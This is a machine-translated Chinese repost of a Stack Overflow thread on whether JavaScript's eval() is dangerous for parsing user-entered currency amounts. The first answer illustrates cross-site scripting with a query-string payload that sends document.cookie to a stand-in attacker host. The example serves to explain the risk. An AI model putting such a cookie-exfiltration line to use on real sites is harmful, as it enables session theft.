是的Javascript的eval()如此危险? [重复](Is Javascript eval

2019-06-18 18:22发布

可能重复:
如果是JavaScript的的eval()不是罪恶?

我写一个脚本,用户在其中有货币量来写,一些例子可能是(用户输入>>转换成),以美元作为默认币种:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP

我想使这个尽可能顺利,所以我想使用JavaScript(它是一个基于PHP / MySQL的+ JavaScript的Web应用程序)。 我想用正则表达式来过滤输入,通过运行它eval()并返回。

这是一个坏主意吗? 我读过的一些主题eval()是一个安全问题。 我只是不明白怎么样。 用户可以轻松地运行JavaScript呢?

请记住,我将验证所有输入服务器端用PHP在以后的阶段。

Answer 1:

你说得对,最终用户可以轻松地执行反正任意JavaScript通过浏览器的开发者控制台(我做这一切的时候)。 你不必担心什么是攻击者劫持你的功能,它使用eval为他自己的目的。

究其原因eval通常被认为是危险的,因为它是不可信的代码潜入容易的。考虑一个页面,允许您通过查询字符串,其中输入框预置了查询字符串值指定输入。

攻击者可能蔓延,其中包含代码用于窃取用户的登录cookie的链接:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;

(显然适当的URL编码是必需的;这是一个例子。)

或者,也许你的PHP脚本回声发布的数据返回到您的表单验证失败时。 攻击者可以创建特制的形式职位,以具有相同的Cookie窃取代码的形式。

每一个的这些攻击可以通过使用缓解httpOnly饼干(以防止被盗登录饼干),或确保数据消毒-但问题是,这是不是甚至接近事情如何出错的详尽清单。 例如,注入脚本仍然可以在量字段中插入1000并试图将其量转移到攻击者的帐户(如果这是一个转账页面)。

即使考虑到你使用正则表达式来净化输入并不一定保护你的事实: 它可以编写任意JavaScript 与支架完全 !

因此,底线是,如果你能绝对保证 ,只有这样,输入使得它的方式进入您的文本字段是通过用户输入,你的罚款:用户没有获得任何他们将不能够不这样做通过控制台。 然而,如果攻击者能够以某种方式获取自己的数据到该字段, eval荷兰国际集团可能暴露你的弱点。

也可以看看:

  • JavaScript来评估简单的数学串像5 * 1.2(EVAL /白名单?)
  • JavaScript的只写有括号?


Answer 2:

如果你需要它,使用它。

这里有一个很好的链接,其中讨论了这两个安全......以及对其他常见的反对“的eval()”:

  • http://javascriptweblog.wordpress.com/2010/04/19/how-evil-is-eval/

安全性如何? 如果这是你的软件,与它的参数提供的eval然后有很少担心在这方面。 当然,这将是不明智的EVAL输入框的值,但运行的eval在通过自己的服务器代码生成的响应不会出现什么特殊危险。 还要记住没有损坏一个想成为-攻击者可以与客户端的eval做的,他们不能更容易与现代的浏览器控制台实现。

恕我直言 ...



文章来源: Is Javascript eval() so dangerous? [duplicate]